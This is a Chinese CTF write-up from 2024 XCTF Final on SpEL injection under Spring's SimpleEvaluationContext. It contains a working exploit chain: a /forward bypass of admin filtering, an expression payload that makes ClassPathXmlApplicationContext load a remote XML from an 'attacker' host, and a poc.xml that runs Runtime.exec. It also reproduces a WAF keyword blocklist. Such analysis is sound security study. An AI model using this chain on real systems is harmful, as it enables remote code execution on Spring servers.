SimpleEvaluationContext 条件下spel注入
字数 1521 2025-08-24 07:48:09

SimpleEvaluationContext条件下SpEL注入分析与利用

前言

本文详细分析在SimpleEvaluationContext限制条件下的SpEL(Spring Expression Language)注入漏洞,基于2024 XCTF Final的一道题目进行技术剖析。与传统的SpEL注入不同,这种场景下由于使用了SimpleEvaluationContext而非StandardEvaluationContext,使得常规的利用方法失效,需要寻找新的利用路径。

环境分析

关键代码组件

  1. WAF拦截器 (EzAspect)

    • 黑名单过滤:"T(", "new ", ".class", ".getClass(", ".forName("
    • 拦截所有com.ctf.ezspel.controller包下的方法调用
    • 对String类型参数进行黑名单检查
  2. 访问过滤器 (EzFilter)

    • 拦截所有/admin/*路径的请求
    • 返回"nonono, you are not admin"拒绝访问
  3. 控制器路由

    • /admin/eval:核心漏洞点,接收nameexpr参数
    • /forward:请求转发功能,可用于绕过admin访问限制

核心漏洞代码

// AdminController.java
@RequestMapping({"/eval"})
public String buildArray(String name, String expr) {
    try {
        Class clazz = Class.forName(name);
        Object array = Array.newInstance(clazz, 1);
        Object object = Util.eval(array, expr);
        return object.getClass().getName();
    } catch (Exception var6) {
        this.logger.warn(var6);
        return var6.toString();
    }
}

// Util.java
public static Object eval(Object root, String expr) {
    SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
    SpelExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression(expr);
    return expression.getValue(context, root);
}

利用限制分析

  1. SimpleEvaluationContext限制

    • 与StandardEvaluationContext相比,SimpleEvaluationContext限制了大部分危险操作
    • 无法直接执行T()类型操作、构造函数调用等
  2. WAF限制

    • 过滤了常见的SpEL危险操作关键字
    • 阻止了直接的类加载和方法调用

突破思路

1. 绕过admin访问限制

利用/forward路由进行请求转发:

/forward?forward=/admin/eval

2. SimpleEvaluationContext下的SpEL注入

关键发现:通过数组操作触发构造函数调用

利用链:

#root[0]='恶意值' → 触发数组元素赋值 → 触发对象转换 → 触发构造函数

具体步骤:

  1. 控制name参数为org.springframework.context.support.ClassPathXmlApplicationContext
  2. 控制expr参数为#root[0]='http://attacker/poc.xml'
  3. 表达式解析会尝试将字符串赋值给数组元素
  4. 由于目标类型是ClassPathXmlApplicationContext,会触发其构造函数
  5. 构造函数加载远程XML配置文件

3. 恶意XML构造

poc.xml示例:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="java.lang.String">
        <constructor-arg value="#{T(Runtime).getRuntime().exec('calc')}"/>
    </bean>
</beans>

技术原理深度分析

表达式解析流程

  1. parser.parseExpression(expr)解析表达式

    • #root[0]='ip/poc.xml'解析为AST树
    • 识别为赋值操作
  2. expression.getValue(context, root)执行

    • 创建ExpressionState上下文
    • 调用AST节点的getValueInternal方法
  3. 赋值操作执行

    • 进入Indexer.setArrayElement方法
    • 调用convertValue进行类型转换

关键转换流程

// ObjectToObjectConverter.convert
public Object convert(@Nullable Object source, TypeDescriptor sourceType, TypeDescriptor targetType) {
    // ...
    return BeanUtils.instantiateClass(constructorToUse, source);
}

// 最终触发ClassPathXmlApplicationContext构造函数
public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh, 
    @Nullable ApplicationContext parent) throws BeansException {
    super(parent);
    this.setConfigLocations(configLocations); // 设置配置位置
    if (refresh) {
        this.refresh(); // 触发XML解析
    }
}

调用栈

<init>:141, ClassPathXmlApplicationContext
<init>:85, ClassPathXmlApplicationContext
newInstance:-1, NativeConstructorAccessorImpl
newInstance:77, NativeConstructorAccessorImpl
newInstance:45, DelegatingConstructorAccessorImpl
newInstanceWithCaller:499, Constructor
newInstance:480, Constructor
convert:113, ObjectToObjectConverter
invokeConverter:41, ConversionUtils
convert:182, GenericConversionService
convertValue:82, StandardTypeConverter
convertValue:453, Indexer
setArrayElement:381, Indexer
setValue:489, Indexer$ArrayIndexingValueRef
setValueInternal:108, CompoundExpression
getValueInternal:42, Assign
getValue:114, SpelNodeImpl
getValue:338, SpelExpression
eval:35, Util
buildArray:25, Util

防御建议

  1. 避免使用SimpleEvaluationContext时传递用户可控的root对象
  2. 对Class.forName的参数进行严格过滤
  3. 禁止XML外部实体引用
  4. 升级Spring框架到最新版本

总结

本案例展示了在SimpleEvaluationContext限制下,通过精心构造的root对象和表达式,仍然可能实现SpEL注入。关键在于利用类型转换机制触发构造函数调用,进而加载恶意配置。这种利用方式绕过了常规的SpEL注入防护措施,具有较高的隐蔽性和危害性。

SimpleEvaluationContext条件下SpEL注入分析与利用 前言 本文详细分析在SimpleEvaluationContext限制条件下的SpEL(Spring Expression Language)注入漏洞,基于2024 XCTF Final的一道题目进行技术剖析。与传统的SpEL注入不同,这种场景下由于使用了SimpleEvaluationContext而非StandardEvaluationContext,使得常规的利用方法失效,需要寻找新的利用路径。 环境分析 关键代码组件 WAF拦截器 (EzAspect) 黑名单过滤: "T(", "new ", ".class", ".getClass(", ".forName(" 拦截所有 com.ctf.ezspel.controller 包下的方法调用 对String类型参数进行黑名单检查 访问过滤器 (EzFilter) 拦截所有 /admin/* 路径的请求 返回"nonono, you are not admin"拒绝访问 控制器路由 /admin/eval :核心漏洞点,接收 name 和 expr 参数 /forward :请求转发功能,可用于绕过admin访问限制 核心漏洞代码 利用限制分析 SimpleEvaluationContext限制 与StandardEvaluationContext相比,SimpleEvaluationContext限制了大部分危险操作 无法直接执行 T() 类型操作、构造函数调用等 WAF限制 过滤了常见的SpEL危险操作关键字 阻止了直接的类加载和方法调用 突破思路 1. 绕过admin访问限制 利用 /forward 路由进行请求转发: 2. SimpleEvaluationContext下的SpEL注入 关键发现: 通过数组操作触发构造函数调用 利用链: 具体步骤: 控制 name 参数为 org.springframework.context.support.ClassPathXmlApplicationContext 控制 expr 参数为 #root[0]='http://attacker/poc.xml' 表达式解析会尝试将字符串赋值给数组元素 由于目标类型是ClassPathXmlApplicationContext,会触发其构造函数 构造函数加载远程XML配置文件 3. 恶意XML构造 poc.xml示例: 技术原理深度分析 表达式解析流程 parser.parseExpression(expr) 解析表达式 将 #root[0]='ip/poc.xml' 解析为AST树 识别为赋值操作 expression.getValue(context, root) 执行 创建ExpressionState上下文 调用AST节点的getValueInternal方法 赋值操作执行 进入 Indexer.setArrayElement 方法 调用 convertValue 进行类型转换 关键转换流程 调用栈 防御建议 避免使用SimpleEvaluationContext时传递用户可控的root对象 对Class.forName的参数进行严格过滤 禁止XML外部实体引用 升级Spring框架到最新版本 总结 本案例展示了在SimpleEvaluationContext限制下,通过精心构造的root对象和表达式,仍然可能实现SpEL注入。关键在于利用类型转换机制触发构造函数调用,进而加载恶意配置。这种利用方式绕过了常规的SpEL注入防护措施,具有较高的隐蔽性和危害性。